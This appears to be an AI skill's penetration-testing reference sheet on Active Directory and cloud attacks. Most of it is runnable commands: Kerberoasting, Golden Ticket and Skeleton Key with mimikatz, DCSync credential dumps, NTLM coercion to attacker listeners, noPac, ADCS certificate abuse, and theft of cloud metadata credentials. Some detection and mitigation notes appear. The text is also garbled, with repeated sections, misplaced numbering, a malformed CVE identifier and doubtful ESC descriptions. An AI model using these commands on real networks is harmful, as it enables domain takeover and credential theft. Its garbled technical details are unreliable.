Support Files (Session-Specific Knowledge)

Advanced Penetration Testing

Active Directory Attacks

Kerberos Fundamentals

AS-REQ → KDC returns AS-REP (TGT encrypted with KRBTGT hash)
TGS-REQ → KDC returns TGS-REP (service ticket encrypted with service hash)
AP-REQ → Service validates ticket

Attack #1: Kerberoasting

# Request TGS for service with SPN → crack offline
# Low-privilege domain user can request tickets for any SPN!

# Windows (PowerShell)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
setspn -T domain -Q */*

# Request TGS (RC4 for easier cracking)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web.domain.local"

# Crack with hashcat
# hashcat -m 13100 kerberoast.txt wordlist.txt

# Impacket (Linux attacker)
impacket-GetUserSPNs domain.local/user:password -request -outputfile hashes.txt
impacket-GetUserSPNs domain.local/user:password -request -dc-ip 10.0.0.1

Attack #2: AS-REP Roasting

# Users with "Do not require Kerberos pre-authentication" → AS-REP contains encrypted TGT
# Crackable offline without any domain credentials!

impacket-GetNPUsers domain.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt
impacket-GetNPUsers domain.local/ -dc-ip 10.0.0.1 -request

# Crack: hashcat -m 18200 asrep.txt wordlist.txt

Attack #3: Golden Ticket

# Requires: KRBTGT hash (Domain Admin / DC compromise)
# Forge TGT as ANY user → Domain Admin forever

# Dump KRBTGT hash (from DC)
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# Create Golden Ticket
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-XXXX /krbtgt:HASH /user:Administrator /id:500 /ptt
# /ptt = Pass The Ticket → inject into current session

# Now: dir \\dc.domain.local\c$ → works as Domain Admin!

Attack #4: Silver Ticket

# Requires: Service account hash (e.g., machine account for CIFS/WWW)
# Forge service ticket for specific service

# Get machine account hash (from local SYSTEM on target machine)
mimikatz # privilege::debug; sekurlsa::logonpasswords

# Create Silver Ticket for CIFS (file share) service
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-XXXX /target:fileserver.domain.local /service:cifs /rc4:HASH /user:Administrator /ptt
# Now: dir \\fileserver\c$ → works even if Administrator password changed!

Attack #5: DCSync

# Requires: Replication rights (Domain Admin, Enterprise Admin, or specific ACE)
# Pull password hashes from DC without touching DC's disk

mimikatz # lsadump::dcsync /domain:domain.local /all /csv
# Extracts ALL user hashes including KRBTGT

Attack #6: Pass-the-Hash / Pass-the-Ticket

# Pass NTLM hash
impacket-psexec -hashes :NTLMHASH domain.local/admin@10.0.0.10
impacket-wmiexec -hashes :NTLMHASH domain.local/admin@10.0.0.10

# Pass Kerberos ticket (export from mimikatz)
export KRB5CCNAME=/tmp/ticket.ccache
impacket-psexec -k -no-pass domain.local/admin@fileserver

# Overpass-the-Hash (NTLM → Kerberos)
mimikatz # sekurlsa::pth /user:admin /domain:domain.local /ntlm:HASH /run:cmd.exe
# Then: net use \\dc\c$ or any Kerberos-based access

Attack #7: BadSuccessor (dMSA) Privilege Escalation — CVE-2025-53779

# Windows Server 2025: Delegated Managed Service Accounts (dMSA) abuse
# Requires: "Create all Child Objects" or CreateChild on an OU
# Works with default configuration, trivial to implement

# 1. Create dMSA object as successor to target (e.g., Domain Admin)
New-ADServiceAccount -Name "BadSuccessor" -DNSHostName "dc.domain.local" `
    -PrincipalsAllowedToRetrieveManagedPassword "Domain Admins" `
    -ServicePrincipalNames @("cifs/dc.domain.local") `
    -Enabled $true -Path "OU=Test,DC=domain,DC=local"

# 2. Set msDS-DelegatedMSAState to trigger migration
# msDS-DelegatedMSAState = 3 (migration complete)
# This causes the dMSA to inherit target's permissions

# 3. Request certificate for dMSA (if ADCS) or use for DCSync
# Certipy:
certipy req -u 'BadSuccessor$' -p 'password' -target ca.domain.local -ca 'domain-CA' -template 'Machine'

# 4. Pass-the-Cert → DCSync as target user (krbtgt, Domain Admin)
# SharpSuccessor / BadTakeover BOF automate this

Attack #7b: Post-Patch BadSuccessor Persistence Primitives (2025 Update)

Critical: Microsoft's patch for CVE-2025-53779 (November 2025) closed the direct privilege escalation path by requiring mutual linking — the target account must also reference the dMSA via msDS-SupersededManagedAccountLink. However, the underlying dMSA mechanism remains a powerful persistence primitive in already-compromised environments.

Attack #7c: WebDAV-based NTLM Coercion + HTTP ADCS (ESC8) — 2025-2026

Key Shift: Microsoft's NTLM deprecation (Phase 3, Oct 2026) blocks NTLMv1 SSO by default, but the attack surface shifted — it didn't disappear. WebDAV coercion bypasses SMB signing; HTTP-based ADCS enrollment requires no signing at all.

# WebDAV-based Coercion (bypasses SMB signing)
# When WebClient service runs on victim, Windows sends auth via HTTP not SMB
# HTTP auth has NO signing requirement → relay to ADCS ESC8 works!
# Trigger: Access \\attacker@80\share via WebDAV redirector
# Tools: PetitPotam, DFSCoerce, custom WebDAV URLs

# Complete 2026 Chain:
# 1. Coerce via WebDAV (CVE-2026-33829, PetitPotam WebDAV, DFSCoerce WebDAV)
# 2. Relay HTTP NTLM to ADCS HTTP endpoint (ESC8) — no signing!
# 3. Obtain machine certificate for DC / high-value target
# 4. PKINIT → TGT → DCSync / Silver Ticket / Golden Ticket

# Detection:
# - Event 4624 Logon Type 3 from unexpected IP (relay landing)
# - ADCS HTTP endpoint access from non-standard clients
# - .library-ms / Snipping Tool URI access in proxy/logs

Attack #7d: CVE-2026-33829 Windows Snipping Tool NTLM Hash Disclosure (April 2026)

# Browser-triggered URI silently coerces SMB auth and exfiltrates Net-NTLM hashes
# Exploit: User opens malicious .library-ms or visits crafted page
# Patch: April 2026 Patch Tuesday

Attack #12: CVE-2025-21293 — AD DS Network Config Operators PrivEsc

# January 2025 Patch Tuesday. Critical AD DS Privilege Escalation (CVSS 9.8).
# Exploits the Network Configuration Operators group's permissions.
# An authenticated low-privilege user can escalate to Domain Admin.
# PoC available (released mid-2025)

Attack #13: CVE-2026-25177 — AD DS Resource Name Restriction Bypass

# 2026 AD DS privilege escalation — improper file/resource name restrictions.
# Authenticated attacker with low-privilege network access → escalate to DA.

Attack #14: Azure Entra ID CVE-2025-55241 — Elevation of Privilege

# CVSS 9.0. Azure Entra ID Elevation of Privilege.
# Related to: service principal abuse, OAuth misconfiguration, hybrid identity.
az ad sp list --query "[?appPermissions[?value=='Directory.ReadWrite.All']].{name:displayName,id:objectId}" -o table

Attack #15: React2Shell (CVE-2025-55182) & K8s SA Token Theft (282% Increase)

# Critical K8s vuln — exploited within 2 days of disclosure.
# Public-facing app vuln → execute commands inside K8s workloads.
# Unit 42: K8s threat actor operations increased 282% in 2025.
# 22% of cloud environments showed suspicious SA token theft activity.
# Chain: compromise pod → read SA token → enumerate cluster → pivot to cloud
# Defense: short-lived SA tokens (K8s 1.24+), bound service account tokens

AKS Container Insights nodes/proxy RCE (AKS-2026-0004)

# Azure Monitor Container Insights add-on uses nodes/proxy permission in K8s < 1.33.
# Creates RCE risk on AKS < v1.33 with Container Insights enabled.
# Mitigation: upgrade AKS cluster to v1.33 or later.

# Primitive 1: Shadow Credentials Alternative (Post-Patch)
# Instead of DCSync, use dMSA for stealthy credential acquisition
# Requires: Write access to dMSA object + target's msDS-SupersededManagedAccountLink

# 1. Create dMSA linked to target (Domain Admin, tier-0 admin)
New-ADServiceAccount -Name "dMSA-Persist" -DNSHostName "dc.domain.local" `
    -PrincipalsAllowedToRetrieveManagedPassword "Domain Admins" `
    -ServicePrincipalNames @("ldap/dc.domain.local") `
    -Enabled $true

# 2. Set mutual link (requires write on TARGET account)
Set-ADObject -Identity "CN=Administrator,CN=Users,DC=domain,DC=local" `
    -Add @{"msDS-SupersededManagedAccountLink"="CN=dMSA-Persist,OU=Test,DC=domain,DC=local"}

Set-ADObject -Identity "CN=dMSA-Persist,OU=Test,DC=domain,DC=local" `
    -Add @{"msDS-ManagedAccountPrecededByLink"="CN=Administrator,CN=Users,DC=domain,DC=local"}
Set-ADObject -Identity "CN=dMSA-Persist,OU=Test,DC=domain,DC=local" `
    -Replace @{"msDS-DelegatedMSAState"="2"}

# 3. Request cert for dMSA → PKINIT → TGT as target user
certipy req -u 'dMSA-Persist$' -p 'password' -target ca.domain.local -ca 'domain-CA' -template 'Machine'
certipy auth -pfx dMSA-Persist.pfx -domain domain.local -dc-ip DC_IP

# Primitive 2: Targeted Credential Dump in Already-Owned Domains (DCSync Alternative)
# If you already have DA, use dMSA for stealthier credential extraction
# 1. Create dMSA linked to target (krbtgt, specific admin)
# 2. Set msDS-DelegatedMSAState = 2 on dMSA
# 3. Request cert for dMSA → PKINIT → DCSync as target
# Benefit: No direct DCSync RPC traffic from attacker machine; uses Kerberos PKINIT

# Detection Post-Patch:
# - Event 4742 (computer account changed) with msDS-DelegatedMSAState modification
# - Event 5136 (directory service change) on msDS-ManagedAccountPrecededByLink / msDS-SupersededManagedAccountLink
# - Certipy/SharpSuccessor BOF signatures in memory
# - YARA: msDS-DelegatedMSAState value 2 or 3 with mutual links

# Mitigation:
# - Restrict CreateChild / Write on msDS-ManagedAccountPrecededByLink / msDS-SupersededManagedAccountLink
# - Monitor for mutual dMSA links (both sides must reference each other post-patch)
# - Apply November 2025+ patches on all DCs

Attack #8: Authentication Coercion & NTLM Relay (2025 Updates)

# NetExec / Impacket coercion modules (all in coerce_plus)
# PetitPotam (Coche (CVE-2021-21-36942) - EFSRPC
nxc smb target -u user -p pass -M coerce_plus -o METHOD=petitpotam LISTENER=attacker_ip

# PrinterBug / PrintNightmare - Print Spooler (MS-RPRN)
nxc smb target -u user -p pass -M coerce_plus -o METHOD=printerbug LISTENER=attacker_ip

# DFSCoerce - Distributed File Service (MS-DFSNM)
nxc smb target -u user -p pass -M coerce_plus -o METHOD=dfscoerce LISTENER=attacker_ip

# ShadowCoerce - Shadow Copy (MS-FSRVP)
nxc smb target -u user -p pass -M coerce_plus -o METHOD=shadowcoerce LISTENER=attacker_ip

# WSPCoerce - Web Services Printing (MS-WSP) - NEW 2025
# Abuses the Print Web Service (MS-WSP) RPC interface to coerce authentication
# Works on Windows 10/11, Server 2019/2022/2025 with Print Service enabled
# No CVE assigned — Microsoft classifies as "by design"
nxc smb target -u user -p pass -M coerce_plus -o METHOD=wspcoerce LISTENER=attacker_ip

# MSEven - Exchange (MS-EMMA) - NEW 2025
# Abuses Exchange Mailbox Migration Service (MS-EMMA) to coerce SYSTEM auth
# Requires Exchange server in domain; works cross-forest with trust
# Microsoft patched in 2025 but many orgs lag
nxc smb target -u user -p pass -M coerce_plus -o METHOD=mseven LISTENER=attacker_ip

# Coerce + NTLM Reflection (CVE-2025-33073) - NEW 2025
# Forces target to authenticate to itself via spoofed DNS name
# Reflects NTLM back to target → execute as SYSTEM without privileged creds
# Works with PetitPotam, PrinterBug, DFSCoerce, WSPCoerce, MSEven
nxc smb target -u user -p pass -M coerce_plus -o METHOD=petitpotam LISTENER=spoofed_dns_name
# Then: ntlmrelayx.py -t ldaps://target -smb2support --adcs

# Relay to ADCS HTTP endpoints (ESC8)
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs
# Or target LDAPS for LDAP relay → DACL abuse.

# WSPCoerce Technical Details (2025):
# 1. Connect to target's RPC endpoint: ncacn_np:\\target\pipe\spoolss
# 2. Call RpcRemoteFindFirstPrinterChangeNotificationEx with attacker-controlled UNC
# 3. Target's Print Web Service (MS-WSP) connects back to attacker SMB
# 4. Machine account (SYSTEM) NTLM hash relayed to ADCS/LDAPS/LDAP
# Advantage: Works even when Print Spooler disabled; uses MS-WSP instead of MS-RPRN

# MSEven Technical Details (2025):
# 1. Target Exchange server with MS-EMMA (Mailbox Migration Service)
# 2. Call CreateMoveRequest with attacker-controlled RemoteServer parameter
# 3. Exchange connects to attacker SMB as SYSTEM (machine account)
# 4. Relay to ADCS ESC8 → Machine certificate → DC compromise
# Requires: Exchange in domain, attacker has low-priv domain user

Attack #8b: NTLM Reflection Privilege Escalation — CVE-2025-33073 (2025)

Critical: CVE-2025-33073 enables NTLM reflection — coercing a Windows host to authenticate to itself via a spoofed DNS name, reflecting the SYSTEM token to execute commands with maximum privileges. Bypasses longstanding NTLM reflection protections.

# Prerequisites:
# - Low-privileged domain user
# - Ability to create DNS record (or spoof via LLMNR/NBT-NS)
# - Target runs Print Spooler / EFSRPC / DFS / WSP / Exchange

# Step 1: Create spoofed DNS record pointing to target's own IP
# Option A: DNS record (if DNS write access)
# Add A record: attacker-spoofed.target.domain → TARGET_IP

# Option B: LLMNR/NBT-NS spoofing (Responder)
responder -I eth0 -rPv

# Step 2: Coerce authentication to spoofed name
# PetitPotam to spoofed DNS name
nxc smb target -u user -p pass -M coerce_plus -o METHOD=petitpotam LISTENER=attacker-spoofed.target.domain

# Or PrinterBug
nxc smb target -u user -p pass -M coerce_plus -o METHOD=printerbug LISTENER=attacker-spoofed.target.domain

# Step 3: ntlmrelayx listens on target, reflects auth back to target
ntlmrelayx.py -t smb://target --remove-mic --no-smb-server -smb2support
# Or relay to ADCS for machine cert (ESC8)
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs

# Result: Code execution as NT AUTHORITY\SYSTEM on target
# No privileged accounts compromised directly

Attack #8c: Updated NTLM Relay Chain for 2025-2026 (WebDAV, Snipping Tool)

Key Shift: Microsoft's NTLM deprecation (Phase 3, Oct 2026) blocks NTLMv1 SSO by default, but the attack surface shifted — it didn't disappear. WebDAV coercion bypasses SMB signing; HTTP-based ADCS enrollment requires no signing at all.

# CVE-2026-33829: Windows Snipping Tool NTLM Hash Disclosure (April 2026)
# Browser-triggered URI silently coerces SMB auth and exfiltrates Net-NTLM hashes
# Exploit: User opens malicious .library-ms or visits crafted page
# Patch: April 2026 Patch Tuesday

# WebDAV-based Coercion (bypasses SMB signing)
# When WebClient service runs on victim, Windows sends auth via HTTP not SMB
# HTTP auth has NO signing requirement → relay to ADCS ESC8 works!
# Trigger: Access \\attacker@80\share via WebDAV redirector
# Tools: PetitPotam, DFSCoerce, custom WebDAV URLs

# Complete 2026 Chain:
# 1. Coerce via WebDAV (CVE-2026-33829, PetitPotam WebDAV, DFSCoerce WebDAV)
# 2. Relay HTTP NTLM to ADCS HTTP endpoint (ESC8) — no signing!
# 3. Obtain machine certificate for DC / high-value target
# 4. PKINIT → TGT → DCSync / Silver Ticket / Golden Ticket

# Detection:
# - Event 4624 Logon Type 3 from unexpected IP (relay landing)
# - ADCS HTTP endpoint access from non-standard clients
# - .library-ms / Snipping Tool URI access in proxy/logs

Attack #9: NoPac / SAM Account Name Spoofing (CVE-2021-42278/42287)

# Domain user → Domain Admin via samAccountName collision
# Requires: MachineAccountQuota > 0 (default 10)

# 1. Create machine account with name "DC$" (target DC name without $)
addcomputer.py domain.local/user:pass -method LDAPS -computer-name 'DC' -computer-pass 'Pass123!'

# 2. Rename to "DC" (removes trailing $) - requires WRITE on machine account
# (Use sam-the-admin.py or noPac.py)

# 3. Request TGT for "DC" (now matches DC computer account)
getnthash.py domain.local/DC\$ -dc-ip DC_IP

# 4. S4U2Self + S4U2Proxy → Service ticket as any user
# Use Rubeus or noPac.py
noPac.py domain.local/user:pass -dc-ip DC_IP -shell -target-admin

Attack #10: ADCS ESC1-ESC16 Complete Reference

# Certipy - all-in-one ADCS enumeration & exploitation
certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable -stdout
certipy req -u user@domain.local -p password -ca domain-CA -template ESC1 -upn administrator@domain.local
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip DC_IP

# ESC1: Enrollee Supplies Subject + Client Auth EKU + Low priv enrollment
# ESC2: Enrollee Supplies Subject + Any EKU (incl. Smart Card Logon)
# ESC3: Certificate Request Agent EKU → request on behalf of DA
# ESC4: WriteDACL on template → modify to ESC1 → exploit → revert
# ESC5: CA Certificate Manager → steal CA key → forge certs
# ESC6: Certificate Manager/Officer + EDITF_ATTRIBUTESUBJECTALTNAME2 → SAN abuse
# ESC7: CA Manager + User cert → enroll for DA
# ESC8: NTLM Relay to ADCS HTTP endpoint (certsrv)
# ESC9: Unenroll + re-enroll with modified template (no manager approval)
# ESC10: CA ACL abuse → grant Enroll/Manage to low priv
# ESC11: Cert templates with Enroll + Client Auth + No Manager Approval + Enrollee Supplies Subject
# ESC12: Certificate Template with "All Extended Key Usages" 
# ESC13: Issuance Policy OID linked to AD Group → enroll cert = group membership
# ESC14: RFC 6960 OCSP stapling abuse
# ESC15: CA Key Archival + Export → extract CA private key
# ESC16: Cross-forest CA trust abuse

# Certify (C# alternative)
Certify.exe find /vulnerable
Certify.exe request /ca:domain-CA /template:ESC1 /altname:administrator

Attack #11: DCShadow & Domain Persistence

# DCShadow (Mimikatz) - Push fake DC to inject changes
mimikatz # lsadump::dcshadow /object:CN=krbtgt,CN=Users,DC=domain,DC=local /attribute:unicodePwd /value:NewHash

# Requires: DA + ability to register DC (RPC on DC)
# Stealthy: No ntds.dit touch, no replication traffic to real DCs

# Skeleton Key (Mimikatz) - Universal password "mimikatz"
mimikatz # privilege::debug; misc::skeleton
# Now ANY account accepts password "mimikatz" → persists until DC reboot

# Golden Ticket (KRBTGT hash) - persists until KRBTGT rotated TWICE
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /user:Administrator /id:500 /ptt

BloodHound — Attack Path Discovery

# Collect data
./SharpHound.exe -c All
# Or from Linux:
bloodhound-python -d domain.local -u user -p password -ns 10.0.0.1 -c All

# Upload to BloodHound → visualize attack paths:
# - "Shortest Path to Domain Admins"
# - "Find Principals with DCSync Rights"
# - "Kerberoastable Users"
# - "AS-REP Roastable Users"
# - "ACL Abuse Paths"

# Custom Cypher queries:
# MATCH (u:User {hasspn:true}) RETURN u.name → Kerberoastable users
# MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p

ACL Abuse Paths

# ForceChangePassword — reset any user's password
# AddMember — add self to privileged groups
# GenericAll / GenericWrite — full control over object
# WriteDacl — modify object's DACL
# WriteOwner — become owner → take control
# Self-Self-Membership — add self to group

# Abuse GenericAll on user:
net user target NewPassword123! /domain
# Abuse AddMember on group:
net group "Domain Admins" attacker /add /domain

Cloud Penetration Testing

AWS Pentesting

AWS_ATTACKS = {
    'metadata_ssrf': """
        # Instance Metadata Service (IMDSv1 — still common)
        curl http://169.254.169.254/latest/meta-data/
        curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
        # Contains: AccessKeyId, SecretAccessKey, Token (temporary creds!)
        
        # IMDSv2 requires token first (more secure)
        TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
        curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
    """,
    's3_enum': """
        # Enumerate S3 buckets
        aws s3 ls s3://bucket-name --no-sign-request
        aws s3 ls s3://bucket-name --profile stolen_creds
        
        # Known bucket name patterns
        aws s3 ls s3://company-backup
        aws s3 ls s3://company-logs
        aws s3 ls s3://company-prod
        aws s3 ls s3://company-dev
    """,
    'iam_priv_esc': """
        # Privilege escalation via IAM misconfigurations
        
        1. iam:CreatePolicyVersion → create new admin policy for your role
        2. iam:AttachUserPolicy → attach AdministratorAccess to your user
        3. iam:PutUserPolicy → inline admin policy on your user
        4. iam:UpdateAssumeRolePolicy → modify trust to allow your account
        5. iam:PassRole + lambda:CreateFunction → pass admin role to Lambda
        6. iam:SetDefaultPolicyVersion → roll back to previous admin version
        7. sts:AssumeRole → assume cross-account roles with over-trust
    """,
    'lambda_backdoor': """
        # If you can modify Lambda:
        # - Inject exfiltration code (send env vars to attacker)
        # - Create new trigger (API Gateway) for persistence
        # - Access role credentials via environment variables
        import os; print(os.environ['AWS_ACCESS_KEY_ID'])
    """,
}

Azure Pentesting

AZURE_ATTACKS = {
    'managed_identity': """
        # Azure Instance Metadata Service
        curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com"
        # Returns access_token for managed identity → use with Azure REST API
    """,
    'storage_exploit': """
        # Azure Blob Storage enumeration
        # Common: misconfigured containers with public access
        az storage blob list --container-name NAME --account-name ACCOUNT
        
        # SAS URL with excessive permissions
        # Found in source code, JS files, configs
    """,
    'az_cli_enum': """
        # If inside Azure VM or have creds:
        az login
        az account list
        az ad user list  # enumerate users
        az role assignment list --all  # find privileged roles
        az vm list --query "[].{Name:name,OS:storageProfile.osDisk.osType}"
    """,
}

GCP Pentesting

GCP_ATTACKS = {
    'metadata': """
        curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
        curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys" -H "Metadata-Flavor: Google"
    """,
    'storage': """
        # GCS bucket enumeration
        gsutil ls gs://bucket-name
        gsutil ls gs://company-*
    """,
    'iam_priv_esc': """
        # GCP privilege escalation techniques
        gcloud auth list
        gcloud projects list
        gcloud compute instances list
        gcloud compute ssh instance-name
    """,
}

See Also

• references/container--kubernetes-pentesting.md — Container Kubernetes Pentesting
• references/privilege-escalation.md — Privilege Escalation
• references/lateral-movement.md — Lateral Movement
• references/persistence-mechanisms.md — Persistence Mechanisms
• references/c2-frameworks--edr-evasion.md — C2 Frameworks Edr Evasion
• references/wireless--physical.md — Wireless Physical
• references/social-engineering.md — Social Engineering
• references/post-exploitation-data-exfiltration.md — Post Exploitation Data Exfiltration
• references/red-team-engagement-workflow.md — Red Team Engagement Workflow
• references/pivoting--tunneling.md — Pivoting Tunneling
• references/credential-dumping-deep-dive.md — Credential Dumping Deep Dive
• references/complete-attack-checklist.md — Complete Attack Checklist
• references/waf-bypass-reference.md — Waf Bypass Reference
• references/exploit-chaining-workflow.md — Exploit Chaining Workflow
• references/2025-2026-new-ad-attack-techniques.md — 2025 2026 New Ad Attack Techniques
• references/2025-2026-kubernetes--container-attack-updates.md — 2025 2026 Kubernetes Container Attack Updates
• references/2025-2026-edr-evasion-updates.md — 2025 2026 Edr Evasion Updates
• references/deep-knowledge-references.md — Deep Knowledge References
• references/pitfalls.md — Pitfalls
• references/2025-2026-new-ad-attack-techniques.md — 2025 2026 New Ad Attack Techniques
• references/2025-2026-kubernetes--container-attack-updates.md — 2025 2026 Kubernetes Container Attack Updates
• references/2025-2026-edr-evasion-updates.md — 2025 2026 Edr Evasion Updates
• references/2026-職業級知識增強.md — 2026 職業級知識增強
• references/pitfalls.md — Pitfalls